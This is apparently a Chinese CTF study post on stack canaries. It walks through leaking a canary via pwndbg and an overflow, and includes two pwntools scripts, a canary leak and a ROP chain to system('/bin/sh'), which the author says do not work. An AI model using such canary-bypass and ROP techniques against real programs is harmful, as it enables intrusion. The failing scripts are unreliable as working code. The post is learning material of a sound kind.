了解canary
这里是–CTF wiki对其的描述,而用通俗的解释,canary就是一个存在栈里面的校验值,用来防止用户通过恶意栈溢出来获取shell
示意图:
这里可以看出,canary被插在栈间,当尝试进行栈溢出操作时,如果覆盖了canary的值,就会导致校验不通过使程序崩溃
这是题目示例里的canary校验,当用户输入后会将输入后的canary与之前的canary副本进行异或,如果异或的值不是0,则执行___stack_chk_fail函数使程序崩溃
canary
这里我只学习了格式化字符漏洞,原理是利用了printf函数的漏洞,所以关键就是找到canary的偏移值并利用printf函数来泄露canary的值。找到了canary就能像普通栈溢出的方式来做题(只需要将canary的值放在payload里面,保证canary的验证正确)
用题目来实操一下:
这个题目先checksec看一下发现开启了canary和NX(栈不可执行)保护
用ida静态分析找到主调函数发现存在字符串格式化漏洞和栈溢出,而且有两次输入,可以利用第一次输入泄露canary,第二次输入打进去,而且存在catflag函数和binsh后门函数,用nc链接远程服务器提示服务器上没有文件运行,说明这题是通过本地执行来完成夺取flag,大体思路有了关键在于细节。
分析汇编代码,发现canary的值存在[rbp-8]的位置
再根据伪C代码v6数组储存了canary,v4数组从[rbp-50h]开始,大小32字节,要填充的buf从[rbp-30h]开始,占用了40字节,而且占用[rbp-30h]到[rbp-8h],这非常关键,也就是说只要buf中填充超过40字节,多出来的部分就会覆盖canary导致程序崩溃。
代码中第一个read是读取到buf,而第二个read是读取到v4,并且都是读取100字节,均存在栈溢出。
整理一下思路:第一个read读取100字节,但buf能容纳40字节,多的部分向canary覆盖;第二个read也读取100字节,v4能容纳32字节,其余会溢出到后面的栈空间,但需要绕过canary。
这里由于canary的位置确定,所以理论上有三种方式绕过
1.用pwndbg指令(不建议,感觉有点来的莫名其妙,但还是感觉NB)
pwndbg> canary
就可以直接返回canary的值
2.直接根据canary的地址进行查询
pwndbg> x/gx $rbp-0x8
这里可以发现两种方法得出的canary值是一样的
3.格式化字符串漏洞(本人太菜没能实现)
原理上面提到了,这里根据思路写了个exp(因为没完全实现,就只写出了泄露canary的部分)
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('/home/kali/vuln')
payload_leak = b'A' * 40 + b'B' * 7
p.sendlineafter(b'Tell me your name', payload_leak)
response = p.recvuntil(b',Do you kown PWN?')
canary = u64(b'\x00' + response[40:47])
log.success(f"Leaked Canary: {hex(canary)}")
但是最后得出的结果是前面七位被B覆盖了剩了个00,并没有按照设想被打印出来
还是请大佬指点一下是哪里出了问题
但是这里用前面两种方法也可以得到canary的值,接下来就是构造exp
这题的只能打本地,观察函数列表,发现system,binsh后门函数而且catflag函数也是在校验完canary后由system执行
所以思路就是构造垃圾数据填满栈,导致栈溢出从而执行system函数
但是由于我代码基础差,对于这两个read的读取和canary的绕过没处理出来。就说说我的逻辑和疑点,还请各位大佬指正
思路:
先用40个垃圾数据填满buf,再用32个B填满v4,再通过溢出去执行system
疑点:
输入完40个垃圾数据后再输入32个占位字符会导致canary被修改(这里用pwndbg模拟,exp也是一样的问题)
失败的exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('/home/kali/vuln')
# 泄露 Canary
payload_leak = b'A' * 40 + b'B' * 7
p.sendlineafter(b'Tell me your name', payload_leak)
response = p.recvuntil(b',Do you kown PWN?')
canary = u64(b'\x00' + response[40:47])
log.success(f"Leaked Canary: {hex(canary)}")
# 构造 ROP 链
pop_rdi = 0x400833
bin_sh = 0x400854
system_plt = 0x400590
ret = 0x4005fe
payload = b'A' * 72
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system_plt)
p.sendlineafter(b'Do you kown PWN?', payload)
p.interactive()